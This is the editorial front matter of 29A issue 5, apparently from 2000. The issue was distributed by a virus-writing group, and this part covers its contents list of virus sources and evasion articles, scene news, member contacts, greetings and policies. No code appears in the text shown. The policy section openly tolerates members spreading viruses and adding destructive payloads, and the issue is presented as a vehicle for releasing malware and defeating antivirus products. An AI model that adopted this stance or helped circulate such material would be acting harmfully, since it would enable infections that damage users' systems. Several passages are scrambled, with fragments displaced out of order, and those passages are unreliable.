Editorial: Introduction News Contributors Membership Distribution Our greetings Policies and goals Secret area About the

viewer VX meeting in Brno 2000 A Bucket Of Letters Reference guide to VX sites Generally about VX scene Articles: Considerations Infecting 32bits Libraries For Windows Bumblebee's guide to Simple Mail Transfer Protocol Metamorphism Advanced polymorphic engine construction LZEXPAND Tutorial Why a "good" virus is good idea Wormz in 21st century How to make infected system to depend on the virus NetWork Distributed Viruses Local Network Infection Multi-process residency Virii Feedback Win32 Bait Detection Linux Shell Script Viren Perl Viruses Lord Julus' Metamorphism Demo Win32 386+ Random-Number-In-Range Generator MIME/UUENCODE attachment encoders SMTP client Encrypted ZIP files to evade e-mail gateway scanners How to get AVP not detecting viruses in OLE2 files Encryptation through relocs Win9x Ring0 Quest part I Four elephants on a tortoise! Utilities: Behold PE 4.0 Recursive Random Assembler Code Creator (RRRACC) 1.03 The WalruS Macro Virus Generator v. 1.0 Muazzin SDK Kewl Mutation Engine 32 v3.00 Virsort 2000 Special Edition for 29A #5 Windows 95 / 98 / ME: DarkMillennium Repus HenZe Noise Espore Putita Estukista Sentinel SVK Clau Super/29A HenKy Bumblebee/29A HenKy HenKy HenKy f0re Tcp/29A Lord Julus/29A Rajaat The WalruS Vecna Z0MBiE VirusBuster/29A Bumblebee/29A Bumblebee/29A Lord Julus/29A The Mental Driller/29A Bumblebee/29A VirusBuster/29A Benny/29A Prizzy/29A Bumblebee/29A Lord Julus/29A Benny/29A TangentVirii SnakeByte SnakeByte SnakeByte Lord Julus/29A T-2000/Immortal Riot T-2000/Immortal Riot T-2000/Immortal Riot T-2000/Immortal Riot Tcp/29A Tcp/29A Super/29A jackie VirusBuster/29A VirusBuster/29A VirusBuster/29A VirusBuster/29A VirusBuster/29A 29A staff Darkman/29A VirusBuster/29A VirusBuster/29A Benny/29A Lord Julus/29A VirusBuster/29A Benny/29A

Windows NT / 2000: WinNT/Adonai Win2K/Stream Win32 viruses: 99 ways to die Dream Rainsong Rammstein Dengue Hemorrhagic Fever H0rtiga HIV Tuareg RousSarcoma PGN Demiurg LaraCroft Idele Illusions Misc viruses and worms: Linux/LoTeK Linux/Zipworm! I-Worm/Energy I-Worm/Chainsaw I-Worm/Icecubes I-Worm/Troodon I-Worm/XTC HLP/Ayuda Macro/Furio Macro/Karma Macro/One PHP/Pirus CMD/r0bin-&-m4rian DOS/ACG disasm Wintermute Vecna Benny/29A T-2000/Immortal Riot f0re Clau Benny/29A Bumblebee/29A The WalruS The WalruS jackie MaskBits/VXI Nemo Super/29A Bumblebee/29A Prizzy/29A Bumblebee/29A Lord Julus/29A GriYo/29A |Zan Benny/29A The Mental Driller/29A SnakeByte Z0MBiE Black Jack ZeMacroKiller98 Doxtor L./Technological HenKy Benny/29A & Ratter

Introduction ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ancient guys in the VX scene could not believe it when they heard 29A group was releasing his 5th issue in december, just 9 months after 4th issue. We could say we scored a goal to the goal of release 29A magazine within a year, as we promised in this same section in last issue. We also promised we would stop releasing 29A magazine at certain dates, and you, reader, could think 31th december is one of those certain dates, but you would be wrong because back in july we decided to release 5th issue in december, and we, doing a nice work of group, have been successful finishing the issue at the expected time, also being satisfied with our work. In this new release we make a new promise: 29A will try to don't release more huge issues as 4th one, or at least not due to MP3 files. Anyway, it's 29A group who decides what's released, being decission of each reader decide if the zine deserves the download or not. From here, we would like to thank very much all the contributors to 29A #5, those ones who got their work published, and those ones that sent us stuff to publish but we didn't. It's with the efforts of 29A members but also contributors how 29A gets releases of quality, that's why we, in 29A, must be grateful to them. We are also grateful to VaW for his intro for the zine. Darkman, Lethal Mind, Reptile and Sopinky left 29A due their inactivity in the group, Bumblebee and Prizzy left for personal problems and Mandragore joined 29A. Regards and best whises to the ex-members. Apologizes to our readers because in last (Nemesi by AcidWerks), already published in Knight). Thanks to T-2000 for let us notice it. issue we published a virus DIE #1 (SaBoTaGiO by Techno

You must notice: 29A issue 5 has to be extracted using Long FileName (LFN). 29Aers hope readers enjoy with this new production from 29A group, and also that antivirus companies enjoy detecting and removing viruses released in our zine, wishing more luck to ex-AVP than last time disinfecting GriYo's CTX or detecting Bumblebee's 99 ways to die.

News ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Back in april... HenKy left Matrix group and viruses, returning later to the scene. Anaktos joined Matrix and the group released their first issue. New virus group formed named Silicium Revolte. They disappeared in some months and never released anything. Is this group disbanded? Any information for the news section of 29A #6 would be appreciated. Codebreakers group moved their site to codebreakrs.cjb.net, being this one of their last acitivities. Actually it looks like the group is disbanded. Shadow Dancer issue 1 was released, being a magazine written in indonesian language with an introduction in english. Sophos and WildList Organisation International introduced a system called "Rapid Exchange of Virus Samples" (REVS), supposed to help on fast spreading infections exchanging samples between AV companies.

Back in may... Online computer retailer Shoppingplanet.com sent virus WScript/Kak with their e-mail newsletter to about 50,000 customers. Later on, they warned subscribers with: "Please delete our previous newsletter. Potential virus thread attached to our previous email newsletter." G9N zine issue 1 released by The Spy. Annual vx meeting was scheduled for 1st august somewhere in Czech republic being unknown the exact location. Variants of ILoveYou virus were still appearing all around the world being the coder of the original virus unknown. Lifewire left ShadowVX group. It's considered a virus group. unknown if actually ShadowVX could be

Altavirus, a search engine for virus sites was created by SnakeMan. VDAT 2.000.1 was released by Cicatrix.

Back in june... B0z0 left IKX group. The charismatic guy that used to be the leader of the group left IKX group and the scene taking StarZer0 the responsability inside the group.

Back in july... Pascal Virus Team was formed. The time showed that PVT can not be named as group. SMF group released DVL issue 10. Duke, leader of SMF did another good work with this release. SMF informed that SST, a russian virus coder, was being investigated due:

"Creating, distribuiton and usage of harmful computer programs", according russian criminal code. Actually SST is still releasing viruses. AntiState Tortoise released the very first virus for Autocad 2000. Kefrens issue 1. group got disbanded and one of the members released posthumous

Evul, coderz.net owner and virus coder, had a car crash but he was not very damaged fortunately. Rhape79 appeared on british TV. Linezer0 Network 2K group released second issue. Black Jack left the group and got a reply to the reasons he gave for his quit from his ex-group.

Back in august... Foxz retired of vx scene. He did it he is married and he has a son. to avoid problems with police because

Feathered Serpents group announced their very first issue after some years of activity (bad tongues would say inactivity). After a time DrOwl announced the release had been cancelled, something that didn't surprise in the scene. Vx annual meeting had place in Brno (.cz), but it didn't have too much success. Only GriYo and GigaByte, vxers not from the "zone" were assitant of the meeting. This situation should create a debate between people thinking that meetings should be done in different places every year and people that think meetings should be done in places where the amount of assistans would be big. More information about the meeting can be found in this zine inside an article written by Benny. Metaphase #2 was released. Red Elephant, norwegian virus group placed his site at redelephant.cjb.net but after a time several members left the group and the group finally was formed by 2 vxers. It's unknown if they will release any zine some day. Toro should have more information regarding the group and the zine. Lucky 2000 also scene. known under other nicks, a famouse code ripper left the

Back in september... Virus Bulletin Conference 2000 was allocated this year in Orlando-Florida. Typical avers took part in the annual AV meeting plus some vxer too. Renegade, leader of ASM group released DIE #2. In a first release, zine had a backdoor being fixed in a posterior release. Due the backdoor incident Renegade left the scene: "The limit has been reached As to the statements and reactions of September 19th, I cannot stand the shit of some VX persons and even the behaviour of most of the "coders" nowadays anymore. Thus I retire completely from the virus scene." Bumblebee created VxNews a site placed in coderz.net dedicated to announce news related to viruses.

Cicatrix released VDAT 2.000.2, and some days later stopped releasing publicly VDAT due discrepancies with some vxers and due the key was leeched. PalmOS got his first virus named Phage. CIH got arrested. It's unknown if actually he is facing jail or not. Benny/29A and "Stream". Ratter released the first virus for Win2K platform named

Back in october... Jackie Qwerty, ex 29A member, informed that he had been father of a girl. Another vx meeting had place in Valencia, Spain. Being this a "local" meet it was more succesful than the international meeting. Well known vxers as Billy Belcebu, The Mental Driller, Tcp, Super, Bumblebee and some other were there. Evul had to close Matrix's site in all over the world. Coderz due the impact of Matrix virus

Nick Fitzgerald confirmed what some people performed by VTC (Hamburg) are corrupted. T-2000 and Kamaileon stopped writing viruses.

were already

thinking: Tests

Back in november... ILoveYou virus reached record guiness due to be known as the most spreaded virus ever. A new virus channel named #vxers was created due to the discrepancies from many vxers with the guys (Darkman, Evul, Knowdeth, Roadkil) managing #virus channel. DrOwl was interviewed by PC World. AVP announced they were going to change the name of their product from AVP to Kaspersky Anti-Virus. It seems like AVP people wanted to break business relations with Central Command, american distributor of AVP, and to do this they had to change the name. Central Command, company that used to distribute AVP in USA, started to distribute AVX a romanian antivirus of less quality than AVP, in a try to fool customers selling an antivirus of similar name. They were succesful because many people started to use AVX thinking they were using the new version of AVP. A new group named Mions was created. Formed by Worf and collectors and Radix16 as virus coder. Coderz issue 1 magazine was released. Mimi as virus

In this month... Prizzy/29A left the virus scene. Matrix #3 scheduled for february.

Shadow Dancer #2 was released. Maskbits released the first PHP virus, and later he left the scene.

Contributors ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ If you want to contribute to the next issue of 29A magazine, please mail us at: darknode@oninet.es. We do keep the right not to include your contribution in the magazine, if we think it's not relevant for 29A magazine or if it doesn't live up to our expectations of quality, etc. We'll let you know a few days after you've contacted us. We'd like to thank GriYo/29A for the viewer, VaW for the intro and T-2000 for tips and ideas for the zine. Further more we'd like to thank all the people who have contributed to this issue of 29A, also for all the help and effort they put into this issue of 29A magazine. The list of contributors and what they've contributed with is as follows:

Handle Contribution(s) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Black Jack Demiurg Black_Jack_VX@hotmail.com www.coderz.net/blackjack Clau clau@ultimatechaos.org www.walrus.8k.com/ Doxtor L. <no e-mail> <no url> f0re f0revir@hotmail.com http://f0re.cjb.net jackie jackie@coderz.net www.coderz.net/jackie/ HenKy henky_@LatinMail.com members.es.tripod.de/lakasazul/henky.htm DarkMillennium Troodon

Idele

Sentinel Icecubes

Four elephants on a tortoise! One

Adonai HenZe Espore Putita Estukista Pirus

MaskBits vxindia@shadowvx.com www.vxi.cjb.net Nemo Nemo@deepzone.org www.deepzone.org Rajaat rilo@xs4all.nl www.shadowvx.com/rajaat SnakeByte SnakeByte@kryptocrew.de

r0bin-&-m4rian

RRRACC 1.03

Win32 Bait Detection Linux Shell Script Viren

www.kryptocrew.de/snakebyte

Perl Viruses Win32.RousSarcoma Virii feedback

TangentVirii tangentvirii@privacyx.com <no url> The WalruS WalruS@z.com www.walrus.8k.com T-2000 T2000_@hotmail.com Random-Number-In-Range Generator www.immortalriot.cjb.net

Furio Karma WMVG 1.0 Chainsaw Win32 386+ MIME/UUENCODE attachment encoders SMTP client Encrypted ZIP files to evade

e-mail gateway scanners Vecna vecna@antisocial.com <no url> Wintermute wintermute@mad.servicom.es personal5.iddeo.es/wintrmute/indice.htm ZeMacroKiller98 zebulon@softel.fr http://www.crosswinds.net/~zemacrokiller98/index.htm Z0MBiE z0mbie@i.am z0mbie.cjb.net |Zan izan@deepzone.org www.deepzone.org ZipWorm! Muazzin SDK

LoTek

LaraCroft

KME32 3.0 PGN

H0rtiga

Membership ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ If you think you have the profile we're searching for, please mail us a little about yourself, your interests, which viruses you have coded so far, etc. to: darknode@oninet.es. If you want to mail 29A as a group, ie. every 29A member, please mail us at the above e-mail address too. The list of the current follows: members, their origin and e-mail addresses is as

Handle Origin E-mail address ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Benny Czech Republic benny_29a@privacyx.com GriYo Spain griyo@bi0.net Lord Julus Romania lordjulus@geocities.com Mandragore France mandragore_fs@hushmail.com Super Spain super_29a@mixmail.com Tcp Spain tcp@cryogen.com The Mental Driller Spain mental_driller@psynet.net VirusBuster Spain darknode@oninet.es Most of our members have a homepage of their own, where you can find more information about them their viruses, current projects, etc. Their URLs are as follows: Handle URL ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Benny http://benny29a.cjb.net GriYo http://www.bi0.net Lord Julus http://lordjulus.cjb.net Mandragore http://www.multimania.com/mdrg VirusBuster http://vtc.cjb.net

Distribution ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Currently we have a distribution and a mirror site. If you want to be a distribution site for 29A magazine, donate webspace, domain name(s), etc. please mail us at: darknode@oninet.es. Distribution homepage site is: http://www.coderz.net/29A Mirror homepage site is: http://www.shadowvx.com/29a Thanks to Evul and ruzz for hosting us.

Our greetings ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Beny's greetings]ÄÄÄ ÚÄÄ Benny's greetingz: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ Darkman: hey man, where is the old Darkman? ³ ³ Lord Julus: rammstein possitive :-) ³ ³ GriYo: say w33333333333333333333333333333333333333333333d :-D ³ ³ GigaByte: you should not drink too much. you know that beer, ³ ³ hash becherovka and vodka + redbull are not your gewd ³ ³ friendz, hehe. btw, how far are you with asm...?:-P ³ ³ Reptile: are you alive? ³ ³ Ratter: "ja se poseru" > benny.wav :-) ³ ³ Billy_Bel: whassup with ya? ³ ³ m0rt: the enemy of the state, Win32.MTX, hehe ³ ³ Maia: zdrastvuj you typical spanish chica X-D ³ ³ jqwerty: hey, how are ya man? ³ ³ MrSandman: bring me a beer, sandy :-) ³ ³ Lea: heyaaa, come to .cz, I want to show ya my butterfly ³ ³ collection, hehe :-hug ³ ³ Zulu: I like yer wormz... nice ideaz... ³ ³ Spanska: I agree with your ideaz about VX scene. ³ ³ SnakeByte: AVerz are really criminalz, gewd article :-) ³ ³ Rajaat: I like yer st0ned cat :-) ³ ³ StarZer0: still codin' .txt infectorz? :-P ³ ³ Wintermute: hey man, gimme know about ya! ³ ³ Skag: why don't we simply kick that poor-egocentric-acidless ³ ³ not mentioned p3rs0n off our reality? :-)) in my ³ ³ reality, you are great man... ³ ³ Benny: ty nedopadnes dobre :-/ ³ ³ Igi: hey, don't fear, the smoke and english language are ³ ³ your friendz :-) ³ ³ *-zine: whassup with your project? ³ ³ ³ ³ and all 29A, iKX and MATRiX memberz... ³ ³ ³ ÃÄÄ Benny's special greetz: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ AEC: very nice conferenssion about viruses on Invex, thnx for ³ ³ publicity of Win2k.Installer (but ya forgot to Stream :) ³ ³ btw, Ratter and me was there, hehe. ³ ³ AVP guyz: late again... yer work is getting worst and worst. ³ ³ F-Secure: have you ever heard about virus? on yer page I can't ³ ³ find anything smart about this "problem"... ³ ³ McAfee's: why don't you patent an "antivirus" word, I think this ³ ³ is the last thing that can help you. ³ ³ SARC: in the next life, try to stay at your norton utilities ³ ³ pleaz ³ ³ Kajinek: Deli se vratila! :-) ³ ³ T. Leary: maybe the world won't ever change itself, but anyway you ³ ³ will stay as a kewl man forever! ³ ³ W: next time if I will want to greet any girl, kickban me ³ ³ pleaz :) ³ ³ ³ ³ And the rest: don't ask what the vx scene can do for you, but ask ³ ³ what you can do for the vx scene :) ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Bumblebee's greetings]ÄÄÄ Bumblebee's greetz in random order:

Benny: Stream!!! (yeah Ratter, you too) Prizzy: I love your 2mbs sources... get back to them MrSandman: Cobarde, fistro, pecadoooor de la pradera. Torpedo. Lord Julus: Beholdpe rocks! That's the tool i've looking for all my life Darkman: Busy pusy! Dos putas por favor and don't work too much! Billy Belcebu: Me das mieeedo cuando diiices que conduuuces :) GVenom: We need a lawer here :) you will work, sure Griyo: Ese genio! (y figura) Ypsilon: Hey Ypsi king. how goes? Evul: Keep coderz working... at least at weekends :) Nigr0: El freelance. Buscate ya un grupo! cual dices? Super: I'm looking forward to next Valencian meeting Next step: ring0 in only 1 asm line ;) Wintermute: We missed you in Valencia baby YbY: You know you're so paranoid? Cicatrix: buaah! I want another VDAT release :) Urgo32: Keep on coding! Cool ideas! Jackie: You're trustfull man :) jump into win32! Perikles: Thanx you for those testing sessions Kryzia: Donde te metes bombon? VirusBuster: Siempre nos la cargamos los que abrimos la boca Toro: Toro, toriiiitoooo... TCP: You're my hero Clau: Buddy! are you there? Pharmie: #virus gradmah! Mandragore: Welcome home dude The Wizard: Nice article about Plage2000. Thanx you Mental Driller: Tuareg rockz!!! Error: I can believe you have such girlfriend. lo! AVP ppl: You're lossing your prestige... lame work this year Hispasec: Tios, dais unas ideas de cojones Panda soft: Que ajjjcoh! ganasteis mucho con la mierda esa de sinvirus? WildList Int.: Damn! Call the viruses with their name! I you think you must be in the previous list and you are not, fuck you! And for all the guys/girls/things from #virus, nice and not so nice: greetings ppl! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Lord Julus' greetings]ÄÄÄ Lord Julus's greetings mr sandman the unforgiven darkman jacky qwerty vecna super benny : : : : : : : Cand incepem proiectul nostru? well... you have been forgiven, but not forgotten! ;-) where's that asian, man? are you alive? How's the baby? bad, bad boy!!! you like all things small? ;-)) are you hiv negative now? ;-p~~~~

to all members of 29A, Ikx, Matrix and all the people from #virus a great greeting and all the best !!! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[The Mentall Drillers's greetings]ÄÄÄ My greetz come to: Virii related ------------Benny: Psychedelic drugs are bad... but love marijuana!! :) Billy Belceb£: A la pr¢xima kedada voy a llevar a un segurata de cybercaf‚ XD Bumblebee: Hacer una poly gorda es cuesti¢n de ponerse (mucho, pero ponerse :) Darkman: Come back to the VX!

GriYo: A ver si hacemos una poly conjunta :P =) Lord Julus: Let's do a meta compo! :P (Joke. Very difficult! :) Mental Driller: Errhm... :) Mister Sandman: Menos mal que no me cambiaste por una escoba ;)) nigr0: Eso de Nigrogay, uhmm... habr que matar a Super XDDD Super: Te ver‚ pronto :P Tcp: Seeya soon! ;) Vecna: Keep coding! Your viruses belong to the best! VirusBuster: Esos peazos logs van a hacer que me retiren la cuenta XD Wintermute: Ahora vas y te pasas al ping ino? :) YbY: No te juntes con Billy que es gay y le van los hackers XDD Zaxon: Oye, andest s que no se te v‚? Also greetz to: B0z0, Cicatrix, Codebreakers, Evul, Frontis, HenKy, IKx, Int13h, Jacky Qwerty, Lethalmind, Mandragore, Prizzy, Rajaat, Reptile, RoadKil, SoPinky, Spanska, StarZer0, The Wizard, ULTRAS, Ypsilon, Z0mbie All habituals in #vxers and #virus (Undernet) All those who know me and I know them and I forgot to put here. Sorry! Non-virii related (and written as they were recalled on my mind) ---------------------------------------------------------------The Offspring, Korn, Marilyn Manson, Ch‚ Guevara, Queen, Marlboro, Blizzard, Westwood Software, Navi, L¡yak, Michael Tischer/Bruno Jennrich, Francisco Iba¤ez, Goscinny/Uderzo, Louise Cooper, Michael Moorcock, Isaac Asimov, Akira Toriyama, William Gibson, David Eddings, R.A. Salvatore, Valencia CF, Linus Thorvald, Napster.com, Nullsoft, Tad Williams, Margaret Weis/Tracy Hickman, J.R.R. Tolkien, Bad Religion, AC/DC, all bands at Epitaph/Nitro (w0w, punk rox!), and a large etc. Anti-greetz ----------Fascism, Metallica ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[VirusBuster's greetings]ÄÄÄ I'ld like to greet the people forming 29A, IKX and Matrix groups and next people particullary: b0z0, Buddy Music, CyberYoda, Daniel, Del_Armg0, Duke, Evul, foxz, Int13h, Jack Qwerty, Jackie, Leugim San, mgl, Mist, Mr Sandman, Newton, Nigr0, Paddingx, PaX, Perikles, Raid, Rajaat, Renegade, Reptile, SnakeMan, Secret, Somnium, Sopinky, Spanska, SSR, T-2000, Urgo, Vecna, Vein, VicodinES, Wintermute, Worf, Ypsilon, Z0MBiE and Zulu.

Policies and goals ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ In general we're against destructive payloads and the spreading of viruses, but we do not forbid our members, or those who contribute to 29A magazine, to include destructive payloads in their viruses nor do we forbid our members to spread viruses. That's why you'll occasionally see a virus from 29A in the wild or carrying a destructive payload, even though we do our very best to keep the number of incidents down to a minimum. Destructive payloads and the spreading of viruses is the reason why people get in trouble, the reason why people like The Black Baron got arrested, prosecuted, sentenced and finally jailed. We code viruses for the fun of it, because it's our hobby, not because we want to harm other people or to get ourselves into trouble. We code viruses to invent new techniques, improve on existing techniques and to learn more about the various OSes. We know there are hundreds of other ways to do this, probably better ways, yet this is what we like. This is as we said before, our hobby, or at least one of them. Our goal is to create new, unique, interesting viruses and virus utilities and to release 29A magazine on a regular and more frequent basis. Releasing the magazine frequently has been a problem for us, however, we are getting better but it is still something for us to work at. We beta-test everything included in this package as much as we can before we release it, but there may still be bugs which we didn't find. We can not and will not be held responsible for whatever you (the reader) decides to do with the contents of the 29A magazines nor can the group be held responsible for the actions of any individual members.

Secret area ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Passwords for 29A magazine issue 1 and 2 can be found in the "Secret area" article in 29A magazine issue 3. The password for 29A magazine issue 4 is "29A 2000". You must type numbers using the keys in the right side of the keyboard. (Don't forget to enable Num Lock)

About the viewer ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 29A magazine issue 5 includes a Win32 viewer which is coded by GriYo/29A, and it doesn't includes a screensaver because Windows already has. The viewer is able to play a MP3, located in \CONFIG\MUSIC.MP3. If you don't like the MP3 we've included, change it at your pleasure. There are not available parameters or designed to be used with a mouse. The viewer is able to manage URLs. "Boss key": click in the skull in the task bar. commands for this viewer, being

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º º°°°°°°°°°°°°°°°°°°°°°°ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»°°°°°°°°°°°°°°°°°°°°°°º º°°°°°°°°°°°°°°°°°°°°°°º º°°°°°°°°°°°°°°°°°°°°°°º º°°°°°°°°°°°°°°°°°°°°°°º ARTICLE º°°°°°°°°°°°°°°°°°°°°°°º º°°°°°°°°°°°°°°°°°°°°°°º º°°°°°°°°°°°°°°°°°°°°°°º º°°°°°°°°°°°°°°°°°°°°°°ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ°°°°°°°°°°°°°°°°°°°°°°º º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º º°ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»°°°°°°°°°°°°°°°°°°°°°°°°ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»°º º°º º°°°°°°°°°°°°°°°°°°°°°°°°º º°º º°º VX Meeting Brno 2000 º°°°°°°°°°°°°°°°°°°°°°°°°º by Benny/29A º°º º°º º°°°°°°°°°°°°°°°°°°°°°°°°º º°º º°ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ°°°°°°°°°°°°°°°°°°°°°°°°ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ°º º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄ´ Before the meeting ³ÄÄÄ¿ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³ ³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³ ³ ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ÀÄÄÄÄÄÄ>³ There was a big disccusion before the meeting happened. Where ³ should the meeting be? Moscow, said someone, and that was the ³ final word. But becoz almost everyone who agreed with that said, ³ that he cant come, Darkman and I decided to make the meeting in ³ ³ my city Brno in Czech Republic. ³ ³ ³ ³ First reactions were better than I expected. Many ppl wanted to ³ ³ come, they were about 20+. I sent to everyone who asked me about ³ ³ meeting mail, where was explained the program, accommodation, ³ ³ local prizes etc... but something went wrong. Darkman, Lord Julus,³ ³ and many spanish coderz and memberz of 29A couldn't come becoz of ³ ³ problems with money and/or lack of time. The rest didn't answer me³ ³ in two months, so it thought they can't or don't want to come. ³ ³ ³ ³ I reserved for all foreign ppl rooms in hotel and gave them the ³ ³ address of not mentioned pub, that was supposed to work as our ³ ³ own headquarterz :) ³ ³ ³ ³ Ppl from Czech Republic promised me to call me when they will be ³ ³ able to come. ³ ³ ³ ³ The meeting started at the 31st of July 